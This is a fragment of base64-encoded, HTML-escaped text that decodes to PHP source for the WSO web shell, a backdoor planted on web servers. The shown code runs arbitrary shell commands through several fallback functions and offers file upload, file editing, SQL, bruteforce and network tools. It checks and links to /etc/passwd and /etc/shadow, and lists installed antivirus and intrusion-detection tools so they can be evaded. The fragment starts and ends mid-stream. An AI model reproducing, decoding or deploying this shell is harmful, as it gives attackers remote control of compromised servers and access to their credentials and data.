/&gt;KCkpOwoJCSRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQocG9zaXhfZ2V0ZWdpZCgpKTsK&lt;br /&gt;CQkkdXNlciA9ICR1aWRbJ25hbWUnXTsKCQkkdWlkID0gJHVpZFsndWlkJ107CgkJ&lt;br /&gt;JGdyb3VwID0gJGdpZFsnbmFtZSddOwoJCSRnaWQgPSAkZ2lkWydnaWQnXTsKCX0K&lt;br /&gt;CgkkY3dkX2xpbmtzID0gJyc7CgkkcGF0aCA9IGV4cGxvZGUoIi8iLCAkR0xPQkFM&lt;br /&gt;U1snY3dkJ10pOwoJJG49Y291bnQoJHBhdGgpOwoJZm9yKCRpPTA7ICRpPCRuLTE7&lt;br /&gt;ICRpKyspIHsKCQkkY3dkX2xpbmtzIC49ICI8YSBocmVmPScjJyBvbmNsaWNrPSdn&lt;br /&gt;KFwiRmlsZXNNYW5cIixcIiI7CgkJZm9yKCRqPTA7ICRqPD0kaTsgJGorKykKCQkJ&lt;br /&gt;JGN3ZF9saW5rcyAuPSAkcGF0aFskal0uJy8nOwoJCSRjd2RfbGlua3MgLj0gIlwi&lt;br /&gt;KSc+Ii4kcGF0aFskaV0uIi88L2E+IjsKCX0KCgkkY2hhcnNldHMgPSBhcnJheSgn&lt;br /&gt;VVRGLTgnLCAnV2luZG93cy0xMjUxJywgJ0tPSTgtUicsICdLT0k4LVUnLCAnY3A4&lt;br /&gt;NjYnKTsKCSRvcHRfY2hhcnNldHMgPSAnJzsKCWZvcmVhY2goJGNoYXJzZXRzIGFz&lt;br /&gt;ICRpdGVtKQoJCSRvcHRfY2hhcnNldHMgLj0gJzxvcHRpb24gdmFsdWU9IicuJGl0&lt;br /&gt;ZW0uJyIgJy4oJF9QT1NUWydjaGFyc2V0J109PSRpdGVtPydzZWxlY3RlZCc6Jycp&lt;br /&gt;Lic+Jy4kaXRlbS4nPC9vcHRpb24+JzsKCgkkbSA9IGFycmF5KCdTZWMuIEluZm8n&lt;br /&gt;PT4nU2VjSW5mbycsJ0ZpbGVzJz0+J0ZpbGVzTWFuJywnQ29uc29sZSc9PidDb25z&lt;br /&gt;b2xlJywnU3FsJz0+J1NxbCcsJ1BocCc9PidQaHAnLCdTdHJpbmcgdG9vbHMnPT4n&lt;br /&gt;U3RyaW5nVG9vbHMnLCdCcnV0ZWZvcmNlJz0+J0JydXRlZm9yY2UnLCdOZXR3b3Jr&lt;br /&gt;Jz0+J05ldHdvcmsnKTsKCWlmKCFlbXB0eSgkR0xPQkFMU1snYXV0aF9wYXNzJ10p&lt;br /&gt;KQoJCSRtWydMb2dvdXQnXSA9ICdMb2dvdXQnOwoJJG1bJ1NlbGYgcmVtb3ZlJ10g&lt;br /&gt;PSAnU2VsZlJlbW92ZSc7CgkkbWVudSA9ICcnOwoJZm9yZWFjaCgkbSBhcyAkayA9&lt;br /&gt;PiAkdikKCQkkbWVudSAuPSAnPHRoIHdpZHRoPSInLihpbnQpKDEwMC9jb3VudCgk&lt;br /&gt;bSkpLiclIj5bIDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCcnLiR2LidcJyxudWxs&lt;br /&gt;LFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC9hPiBdPC90aD4nOwoKCSRkcml2ZXMg&lt;br /&gt;PSAiIjsKCWlmKCRHTE9CQUxTWydvcyddID09ICd3aW4nKSB7CgkJZm9yZWFjaChy&lt;br /&gt;YW5nZSgnYycsJ3onKSBhcyAkZHJpdmUpCgkJaWYoaXNfZGlyKCRkcml2ZS4nOlxc&lt;br /&gt;JykpCgkJCSRkcml2ZXMgLj0gJzxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxl&lt;br /&gt;c01hblwnLFwnJy4kZHJpdmUuJzovXCcpIj5bICcuJGRyaXZlLicgXTwvYT4gJzsK&lt;br /&gt;CX0KCWVjaG8gJzx0YWJsZSBjbGFzcz1pbmZvIGNlbGxwYWRkaW5nPTMgY2VsbHNw&lt;br /&gt;YWNpbmc9MCB3aWR0aD0xMDAlPjx0cj48dGQgd2lkdGg9MT48c3Bhbj5VbmFtZTo8&lt;br /&gt;YnI+VXNlcjo8YnI+UGhwOjxicj5IZGQ6PGJyPkN3ZDonIC4gKCRHTE9CQUxTWydv&lt;br /&gt;cyddID09ICd3aW4nPyc8YnI+RHJpdmVzOic6JycpIC4gJzwvc3Bhbj48L3RkPicK&lt;br /&gt;ICAgICAgIC4gJzx0ZD48bm9icj4nIC4gc3Vic3RyKEBwaHBfdW5hbWUoKSwgMCwg&lt;br /&gt;MTIwKSAuICcgPGEgaHJlZj0iJyAuICRleHBsaW5rIC4gJyIgdGFyZ2V0PV9ibGFu&lt;br /&gt;az5bZXhwbG9pdC1kYi5jb21dPC9hPjwvbm9icj48YnI+JyAuICR1aWQgLiAnICgg&lt;br /&gt;JyAuICR1c2VyIC4gJyApIDxzcGFuPkdyb3VwOjwvc3Bhbj4gJyAuICRnaWQgLiAn&lt;br /&gt;ICggJyAuICRncm91cCAuICcgKTxicj4nIC4gQHBocHZlcnNpb24oKSAuICcgPHNw&lt;br /&gt;YW4+U2FmZSBtb2RlOjwvc3Bhbj4gJyAuICgkR0xPQkFMU1snc2FmZV9tb2RlJ10/&lt;br /&gt;Jzxmb250IGNvbG9yPXJlZD5PTjwvZm9udD4nOic8Zm9udCBjb2xvcj1ncmVlbj48&lt;br /&gt;Yj5PRkY8L2I+PC9mb250PicpCiAgICAgICAuICcgPGEgaHJlZj0jIG9uY2xpY2s9&lt;br /&gt;ImcoXCdQaHBcJyxudWxsLFwnXCcsXCdpbmZvXCcpIj5bIHBocGluZm8gXTwvYT4g&lt;br /&gt;PHNwYW4+RGF0ZXRpbWU6PC9zcGFuPiAnIC4gZGF0ZSgnWS1tLWQgSDppOnMnKSAu&lt;br /&gt;ICc8YnI+JyAuIHdzb1ZpZXdTaXplKCR0b3RhbFNwYWNlKSAuICcgPHNwYW4+RnJl&lt;br /&gt;ZTo8L3NwYW4+ICcgLiB3c29WaWV3U2l6ZSgkZnJlZVNwYWNlKSAuICcgKCcuIChp&lt;br /&gt;bnQpICgkZnJlZVNwYWNlLyR0b3RhbFNwYWNlKjEwMCkgLiAnJSk8YnI+JyAuICRj&lt;br /&gt;d2RfbGlua3MgLiAnICcuIHdzb1Blcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddKSAu&lt;br /&gt;ICcgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJyAuICRHTE9C&lt;br /&gt;QUxTWydob21lX2N3ZCddIC4gJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBob21lIF08&lt;br /&gt;L2E+PGJyPicgLiAkZHJpdmVzIC4gJzwvdGQ+JwogICAgICAgLiAnPHRkIHdpZHRo&lt;br /&gt;PTEgYWxpZ249cmlnaHQ+PG5vYnI+PHNlbGVjdCBvbmNoYW5nZT0iZyhudWxsLG51&lt;br /&gt;bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPjxvcHRncm91cCBsYWJlbD0i&lt;br /&gt;UGFnZSBjaGFyc2V0Ij4nIC4gJG9wdF9jaGFyc2V0cyAuICc8L29wdGdyb3VwPjwv&lt;br /&gt;c2VsZWN0Pjxicj48c3Bhbj5TZXJ2ZXIgSVA6PC9zcGFuPjxicj4nIC4gQCRfU0VS&lt;br /&gt;VkVSWyJTRVJWRVJfQUREUiJdIC4gJzxicj48c3Bhbj5DbGllbnQgSVA6PC9zcGFu&lt;br /&gt;Pjxicj4nIC4gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10gLiAnPC9ub2JyPjwvdGQ+&lt;br /&gt;PC90cj48L3RhYmxlPicKICAgICAgIC4gJzx0YWJsZSBzdHlsZT0iYm9yZGVyLXRv&lt;br /&gt;cDoycHggc29saWQgIzMzMzsiIGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MCB3&lt;br /&gt;aWR0aD0xMDAlPjx0cj4nIC4gJG1lbnUgLiAnPC90cj48L3RhYmxlPjxkaXYgc3R5&lt;br /&gt;bGU9Im1hcmdpbjo1Ij4nOwp9CgpmdW5jdGlvbiB3c29Gb290ZXIoKSB7CgkkaXNf&lt;br /&gt;d3JpdGFibGUgPSBpc193cml0YWJsZSgkR0xPQkFMU1snY3dkJ10pPyIgPGZvbnQg&lt;br /&gt;Y29sb3I9J2dyZWVuJz4oV3JpdGVhYmxlKTwvZm9udD4iOiIgPGZvbnQgY29sb3I9&lt;br /&gt;cmVkPihOb3Qgd3JpdGFibGUpPC9mb250PiI7CiAgICBlY2hvICIKPC9kaXY+Cjx0&lt;br /&gt;YWJsZSBjbGFzcz1pbmZvIGlkPXRvb2xzVGJsIGNlbGxwYWRkaW5nPTMgY2VsbHNw&lt;br /&gt;YWNpbmc9MCB3aWR0aD0xMDAlICBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQg&lt;br /&gt;IzMzMztib3JkZXItYm90dG9tOjJweCBzb2xpZCAjMzMzOyc+Cgk8dHI+CgkJPHRk&lt;br /&gt;Pjxmb3JtIG9uc3VibWl0PSdnKG51bGwsdGhpcy5jLnZhbHVlLFwiXCIpO3JldHVy&lt;br /&gt;biBmYWxzZTsnPjxzcGFuPkNoYW5nZSBkaXI6PC9zcGFuPjxicj48aW5wdXQgY2xh&lt;br /&gt;c3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSciIC4gaHRtbHNw&lt;br /&gt;ZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48aW5wdXQgdHlwZT1zdWJt&lt;br /&gt;aXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9&lt;br /&gt;XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSk7cmV0dXJuIGZhbHNl&lt;br /&gt;O1wiPjxzcGFuPlJlYWQgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0ndG9v&lt;br /&gt;bHNJbnAnIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVl&lt;br /&gt;PSc+Pic+PC9mb3JtPjwvdGQ+Cgk8L3RyPjx0cj4KCQk8dGQ+PGZvcm0gb25zdWJt&lt;br /&gt;aXQ9XCJnKCdGaWxlc01hbicsbnVsbCwnbWtkaXInLHRoaXMuZC52YWx1ZSk7cmV0&lt;br /&gt;dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZGlyOjwvc3Bhbj4kaXNfd3JpdGFibGU8&lt;br /&gt;YnI+PGlucHV0IGNsYXNzPSd0b29sc0lucCcgdHlwZT10ZXh0IG5hbWU9ZD48aW5w&lt;br /&gt;dXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+PC90ZD4KCQk8dGQ+PGZv&lt;br /&gt;cm0gb25zdWJtaXQ9XCJnKCdGaWxlc1Rvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwn&lt;br /&gt;bWtmaWxlJyk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+&lt;br /&gt;JGlzX3dyaXRhYmxlPGJyPjxpbnB1dCBjbGFzcz0ndG9vbHNJbnAnIHR5cGU9dGV4&lt;br /&gt;dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjwv&lt;br /&gt;dGQ+Cgk8L3RyPjx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9XCJnKCdDb25zb2xl&lt;br /&gt;JyxudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxzcGFuPkV4ZWN1&lt;br /&gt;dGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQg&lt;br /&gt;bmFtZT1jIHZhbHVlPScnPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwv&lt;br /&gt;Zm9ybT48L3RkPgoJCTx0ZD48Zm9ybSBtZXRob2Q9J3Bvc3QnIEVOQ1RZUEU9J211&lt;br /&gt;bHRpcGFydC9mb3JtLWRhdGEnPgoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEg&lt;br /&gt;dmFsdWU9J0ZpbGVzTUFuJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZh&lt;br /&gt;bHVlPSciIC4gJEdMT0JBTFNbJ2N3ZCddIC4iJz4KCQk8aW5wdXQgdHlwZT1oaWRk&lt;br /&gt;ZW4gbmFtZT1wMSB2YWx1ZT0ndXBsb2FkRmlsZSc+CgkJPGlucHV0IHR5cGU9aGlk&lt;br /&gt;ZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIiAuIChpc3NldCgkX1BPU1RbJ2NoYXJz&lt;br /&gt;ZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpIC4gIic+CgkJPHNwYW4+VXBsb2Fk&lt;br /&gt;IGZpbGU6PC9zcGFuPiRpc193cml0YWJsZTxicj48aW5wdXQgY2xhc3M9J3Rvb2xz&lt;br /&gt;SW5wJyB0eXBlPWZpbGUgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0n&lt;br /&gt;Pj4nPjwvZm9ybT48YnIgID48L3RkPgoJPC90cj48L3RhYmxlPjwvZGl2PjwvYm9k&lt;br /&gt;eT48L2h0bWw+IjsKfQoKaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3&lt;br /&gt;dWlkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwg&lt;br /&gt;J3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkpIHsKICAgIGZ1bmN0aW9uIHBvc2l4&lt;br /&gt;X2dldHB3dWlkKCRwKSB7cmV0dXJuIGZhbHNlO30gfQppZiAoIWZ1bmN0aW9uX2V4&lt;br /&gt;aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNh&lt;br /&gt;YmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSkgewog&lt;br /&gt;ICAgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHtyZXR1cm4gZmFsc2U7fSB9&lt;br /&gt;CgpmdW5jdGlvbiB3c29FeCgkaW4pIHsKCSRvdXQgPSAnJzsKCWlmIChmdW5jdGlv&lt;br /&gt;bl9leGlzdHMoJ2V4ZWMnKSkgewoJCUBleGVjKCRpbiwkb3V0KTsKCQkkb3V0ID0g&lt;br /&gt;QGpvaW4oIlxuIiwkb3V0KTsKCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ3Bh&lt;br /&gt;c3N0aHJ1JykpIHsKCQlvYl9zdGFydCgpOwoJCUBwYXNzdGhydSgkaW4pOwoJCSRv&lt;br /&gt;dXQgPSBvYl9nZXRfY2xlYW4oKTsKCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMo&lt;br /&gt;J3N5c3RlbScpKSB7CgkJb2Jfc3RhcnQoKTsKCQlAc3lzdGVtKCRpbik7CgkJJG91&lt;br /&gt;dCA9IG9iX2dldF9jbGVhbigpOwoJfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygn&lt;br /&gt;c2hlbGxfZXhlYycpKSB7CgkJJG91dCA9IHNoZWxsX2V4ZWMoJGluKTsKCX0gZWxz&lt;br /&gt;ZWlmIChpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkaW4sInIiKSkpIHsKCQkkb3V0&lt;br /&gt;ID0gIiI7CgkJd2hpbGUoIUBmZW9mKCRmKSkKCQkJJG91dCAuPSBmcmVhZCgkZiwx&lt;br /&gt;MDI0KTsKCQlwY2xvc2UoJGYpOwoJfQoJcmV0dXJuICRvdXQ7Cn0KCmZ1bmN0aW9u&lt;br /&gt;IHdzb1ZpZXdTaXplKCRzKSB7CglpZigkcyA+PSAxMDczNzQxODI0KQoJCXJldHVy&lt;br /&gt;biBzcHJpbnRmKCclMS4yZicsICRzIC8gMTA3Mzc0MTgyNCApLiAnIEdCJzsKCWVs&lt;br /&gt;c2VpZigkcyA+PSAxMDQ4NTc2KQoJCXJldHVybiBzcHJpbnRmKCclMS4yZicsICRz&lt;br /&gt;IC8gMTA0ODU3NiApIC4gJyBNQic7CgllbHNlaWYoJHMgPj0gMTAyNCkKCQlyZXR1&lt;br /&gt;cm4gc3ByaW50ZignJTEuMmYnLCAkcyAvIDEwMjQgKSAuICcgS0InOwoJZWxzZQoJ&lt;br /&gt;CXJldHVybiAkcyAuICcgQic7Cn0KCmZ1bmN0aW9uIHdzb1Blcm1zKCRwKSB7Cglp&lt;br /&gt;ZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJGkgPSAncyc7CgllbHNlaWYgKCgk&lt;br /&gt;cCAmIDB4QTAwMCkgPT0gMHhBMDAwKSRpID0gJ2wnOwoJZWxzZWlmICgoJHAgJiAw&lt;br /&gt;eDgwMDApID09IDB4ODAwMCkkaSA9ICctJzsKCWVsc2VpZiAoKCRwICYgMHg2MDAw&lt;br /&gt;KSA9PSAweDYwMDApJGkgPSAnYic7CgllbHNlaWYgKCgkcCAmIDB4NDAwMCkgPT0g&lt;br /&gt;MHg0MDAwKSRpID0gJ2QnOwoJZWxzZWlmICgoJHAgJiAweDIwMDApID09IDB4MjAw&lt;br /&gt;MCkkaSA9ICdjJzsKCWVsc2VpZiAoKCRwICYgMHgxMDAwKSA9PSAweDEwMDApJGkg&lt;br /&gt;PSAncCc7CgllbHNlICRpID0gJ3UnOwoJJGkgLj0gKCgkcCAmIDB4MDEwMCkgPyAn&lt;br /&gt;cicgOiAnLScpOwoJJGkgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOwoJ&lt;br /&gt;JGkgLj0gKCgkcCAmIDB4MDA0MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4&lt;br /&gt;JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsKCSRpIC49ICgoJHAg&lt;br /&gt;JiAweDAwMjApID8gJ3InIDogJy0nKTsKCSRpIC49ICgoJHAgJiAweDAwMTApID8g&lt;br /&gt;J3cnIDogJy0nKTsKCSRpIC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MDQw&lt;br /&gt;MCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDA0MDApID8gJ1MnIDogJy0nKSk7&lt;br /&gt;CgkkaSAuPSAoKCRwICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7CgkkaSAuPSAoKCRw&lt;br /&gt;ICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7CgkkaSAuPSAoKCRwICYgMHgwMDAxKSA/&lt;br /&gt;ICgoJHAgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwMjAwKSA/&lt;br /&gt;ICdUJyA6ICctJykpOwoJcmV0dXJuICRpOwp9CgpmdW5jdGlvbiB3c29QZXJtc0Nv&lt;br /&gt;bG9yKCRmKSB7CglpZiAoIUBpc19yZWFkYWJsZSgkZikpCgkJcmV0dXJuICc8Zm9u&lt;br /&gt;dCBjb2xvcj0jRkYwMDAwPicgLiB3c29QZXJtcyhAZmlsZXBlcm1zKCRmKSkgLiAn&lt;br /&gt;PC9mb250Pic7CgllbHNlaWYgKCFAaXNfd3JpdGFibGUoJGYpKQoJCXJldHVybiAn&lt;br /&gt;PGZvbnQgY29sb3I9d2hpdGU+JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAu&lt;br /&gt;ICc8L2ZvbnQ+JzsKCWVsc2UKCQlyZXR1cm4gJzxmb250IGNvbG9yPSMyNWZmMDA+&lt;br /&gt;JyAuIHdzb1Blcm1zKEBmaWxlcGVybXMoJGYpKSAuICc8L2ZvbnQ+JzsKfQoKZnVu&lt;br /&gt;Y3Rpb24gd3NvU2NhbmRpcigkZGlyKSB7CiAgICBpZihmdW5jdGlvbl9leGlzdHMo&lt;br /&gt;InNjYW5kaXIiKSkgewogICAgICAgIHJldHVybiBzY2FuZGlyKCRkaXIpOwogICAg&lt;br /&gt;fSBlbHNlIHsKICAgICAgICAkZGggID0gb3BlbmRpcigkZGlyKTsKICAgICAgICB3&lt;br /&gt;aGlsZSAoZmFsc2UgIT09ICgkZmlsZW5hbWUgPSByZWFkZGlyKCRkaCkpKQogICAg&lt;br /&gt;ICAgICAgICAkZmlsZXNbXSA9ICRmaWxlbmFtZTsKICAgICAgICByZXR1cm4gJGZp&lt;br /&gt;bGVzOwogICAgfQp9CgpmdW5jdGlvbiB3c29XaGljaCgkcCkgewoJJHBhdGggPSB3&lt;br /&gt;c29FeCgnd2hpY2ggJyAuICRwKTsKCWlmKCFlbXB0eSgkcGF0aCkpCgkJcmV0dXJu&lt;br /&gt;ICRwYXRoOwoJcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBhY3Rpb25TZWNJbmZv&lt;br /&gt;KCkgewoJd3NvSGVhZGVyKCk7CgllY2hvICc8aDE+U2VydmVyIHNlY3VyaXR5IGlu&lt;br /&gt;Zm9ybWF0aW9uPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKCWZ1bmN0aW9uIHdz&lt;br /&gt;b1NlY1BhcmFtKCRuLCAkdikgewoJCSR2ID0gdHJpbSgkdik7CgkJaWYoJHYpIHsK&lt;br /&gt;CQkJZWNobyAnPHNwYW4+JyAuICRuIC4gJzogPC9zcGFuPic7CgkJCWlmKHN0cnBv&lt;br /&gt;cygkdiwgIlxuIikgPT09IGZhbHNlKQoJCQkJZWNobyAkdiAuICc8YnI+JzsKCQkJ&lt;br /&gt;ZWxzZQoJCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+JyAuICR2IC4gJzwvcHJlPic7&lt;br /&gt;CgkJfQoJfQoKCXdzb1NlY1BhcmFtKCdTZXJ2ZXIgc29mdHdhcmUnLCBAZ2V0ZW52&lt;br /&gt;KCdTRVJWRVJfU09GVFdBUkUnKSk7CiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2Fw&lt;br /&gt;YWNoZV9nZXRfbW9kdWxlcycpKQogICAgICAgIHdzb1NlY1BhcmFtKCdMb2FkZWQg&lt;br /&gt;QXBhY2hlIG1vZHVsZXMnLCBpbXBsb2RlKCcsICcsIGFwYWNoZV9nZXRfbW9kdWxl&lt;br /&gt;cygpKSk7Cgl3c29TZWNQYXJhbSgnRGlzYWJsZWQgUEhQIEZ1bmN0aW9ucycsICRH&lt;br /&gt;TE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddPyRHTE9CQUxTWydkaXNhYmxlX2Z1&lt;br /&gt;bmN0aW9ucyddOidub25lJyk7Cgl3c29TZWNQYXJhbSgnT3BlbiBiYXNlIGRpcics&lt;br /&gt;IEBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSk7Cgl3c29TZWNQYXJhbSgnU2FmZSBt&lt;br /&gt;b2RlIGV4ZWMgZGlyJywgQGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKTsK&lt;br /&gt;CXdzb1NlY1BhcmFtKCdTYWZlIG1vZGUgaW5jbHVkZSBkaXInLCBAaW5pX2dldCgn&lt;br /&gt;c2FmZV9tb2RlX2luY2x1ZGVfZGlyJykpOwoJd3NvU2VjUGFyYW0oJ2NVUkwgc3Vw&lt;br /&gt;cG9ydCcsIGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk/J2VuYWJsZWQn&lt;br /&gt;OidubycpOwoJJHRlbXA9YXJyYXkoKTsKCWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlz&lt;br /&gt;cWxfZ2V0X2NsaWVudF9pbmZvJykpCgkJJHRlbXBbXSA9ICJNeVNxbCAoIi5teXNx&lt;br /&gt;bF9nZXRfY2xpZW50X2luZm8oKS4iKSI7CglpZihmdW5jdGlvbl9leGlzdHMoJ21z&lt;br /&gt;c3FsX2Nvbm5lY3QnKSkKCQkkdGVtcFtdID0gIk1TU1FMIjsKCWlmKGZ1bmN0aW9u&lt;br /&gt;X2V4aXN0cygncGdfY29ubmVjdCcpKQoJCSR0ZW1wW10gPSAiUG9zdGdyZVNRTCI7&lt;br /&gt;CglpZihmdW5jdGlvbl9leGlzdHMoJ29jaV9jb25uZWN0JykpCgkJJHRlbXBbXSA9&lt;br /&gt;ICJPcmFjbGUiOwoJd3NvU2VjUGFyYW0oJ1N1cHBvcnRlZCBkYXRhYmFzZXMnLCBp&lt;br /&gt;bXBsb2RlKCcsICcsICR0ZW1wKSk7CgllY2hvICc8YnI+JzsKCglpZigkR0xPQkFM&lt;br /&gt;U1snb3MnXSA9PSAnbml4JykgewogICAgICAgICAgICB3c29TZWNQYXJhbSgnUmVh&lt;br /&gt;ZGFibGUgL2V0Yy9wYXNzd2QnLCBAaXNfcmVhZGFibGUoJy9ldGMvcGFzc3dkJyk/&lt;br /&gt;InllcyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLCBcIi9l&lt;br /&gt;dGMvXCIsIFwicGFzc3dkXCIpJz5bdmlld108L2E+Ijonbm8nKTsKICAgICAgICAg&lt;br /&gt;ICAgd3NvU2VjUGFyYW0oJ1JlYWRhYmxlIC9ldGMvc2hhZG93JywgQGlzX3JlYWRh&lt;br /&gt;YmxlKCcvZXRjL3NoYWRvdycpPyJ5ZXMgPGEgaHJlZj0nIycgb25jbGljaz0nZyhc&lt;br /&gt;IkZpbGVzVG9vbHNcIiwgXCIvZXRjL1wiLCBcInNoYWRvd1wiKSc+W3ZpZXddPC9h&lt;br /&gt;PiI6J25vJyk7CiAgICAgICAgICAgIHdzb1NlY1BhcmFtKCdPUyB2ZXJzaW9uJywg&lt;br /&gt;QGZpbGVfZ2V0X2NvbnRlbnRzKCcvcHJvYy92ZXJzaW9uJykpOwogICAgICAgICAg&lt;br /&gt;ICB3c29TZWNQYXJhbSgnRGlzdHIgbmFtZScsIEBmaWxlX2dldF9jb250ZW50cygn&lt;br /&gt;L2V0Yy9pc3N1ZS5uZXQnKSk7CiAgICAgICAgICAgIGlmKCEkR0xPQkFMU1snc2Fm&lt;br /&gt;ZV9tb2RlJ10pIHsKICAgICAgICAgICAgICAgICR1c2VyZnVsID0gYXJyYXkoJ2dj&lt;br /&gt;YycsJ2xjYycsJ2NjJywnbGQnLCdtYWtlJywncGhwJywncGVybCcsJ3B5dGhvbics&lt;br /&gt;J3J1YnknLCd0YXInLCdnemlwJywnYnppcCcsJ2J6aXAyJywnbmMnLCdsb2NhdGUn&lt;br /&gt;LCdzdWlkcGVybCcpOwogICAgICAgICAgICAgICAgJGRhbmdlciA9IGFycmF5KCdr&lt;br /&gt;YXYnLCdub2QzMicsJ2JkY29yZWQnLCd1dnNjYW4nLCdzYXYnLCdkcndlYmQnLCdj&lt;br /&gt;bGFtZCcsJ3JraHVudGVyJywnY2hrcm9vdGtpdCcsJ2lwdGFibGVzJywnaXBmdycs&lt;br /&gt;J3RyaXB3aXJlJywnc2hpZWxkY2MnLCdwb3J0c2VudHJ5Jywnc25vcnQnLCdvc3Nl&lt;br /&gt;YycsJ2xpZHNhZG0nLCd0Y3Bsb2RnJywnc3hpZCcsJ2xvZ2NoZWNrJywnbG9nd2F0&lt;br /&gt;Y2gnLCdzeXNtYXNrJywnem1ic2NhcCcsJ3Nhd21pbGwnLCd3b3Jtc2NhbicsJ25p&lt;br /&gt;bmphJyk7CiAgICAgICAgICAgICAgICAkZG93bmxvYWRlcnMgPSBhcnJheSgnd2dl&lt;br /&gt;dCcsJ2ZldGNoJywnbHlueCcsJ2xpbmtzJywnY3VybCcsJ2dldCcsJ2x3cC1taXJy&lt;br /&gt;b3InKTsKICAgICAgICAgICAgICAgIGVjaG8gJzxicj4nOwogICAgICAgICAgICAg&lt;br /&gt;ICAgJHRlbXA9YXJyYXkoKTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCR1c2Vy&lt;br /&gt;ZnVsIGFzICRpdGVtKQogICAgICAgICAgICAgICAgICAgIGlmKHdzb1doaWNoKCRp&lt;br /&gt;dGVtKSkKICAgICAgICAgICAgICAgICAgICAgICAgJHRlbXBbXSA9ICRpdGVtOwog&lt;br /&gt;ICAgICAgICAgICAgICAgd3NvU2VjUGFyYW0oJ1VzZXJmdWwnLCBpbXBsb2RlKCcs&lt;br /&gt;ICcsJHRlbXApKTsKICAgICAgICAgICAgICAgICR0ZW1wPWFycmF5KCk7CiAgICAg&lt;br /&gt;ICAgICAgICAgICBmb3JlYWNoICgkZGFuZ2VyIGFzICRpdGVtKQogICAgICAgICAg&lt;br /&gt;ICAgICAgICAgIGlmKHdzb1doaWNoKCRpdGVtKSkKICAgICAgICAgICAgICAgICAg&lt;br /&gt;ICAgICAgJHRlbXBbXSA9ICRpdGVtOwogICAgICAgICAgICAgICAgd3NvU2VjUGFy&lt;br /&gt;YW0oJ0RhbmdlcicsIGltcGxvZGUoJywgJywkdGVtcCkpOwogICAgICAgICAgICAg&lt;br /&gt;ICAgJHRlbXA9YXJyYXkoKTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRkb3du&lt;br /&gt;bG9hZGVycyBhcyAkaXRlbSkKICAgICAgICAgICAgICAgICAgICBpZih3c29XaGlj&lt;br 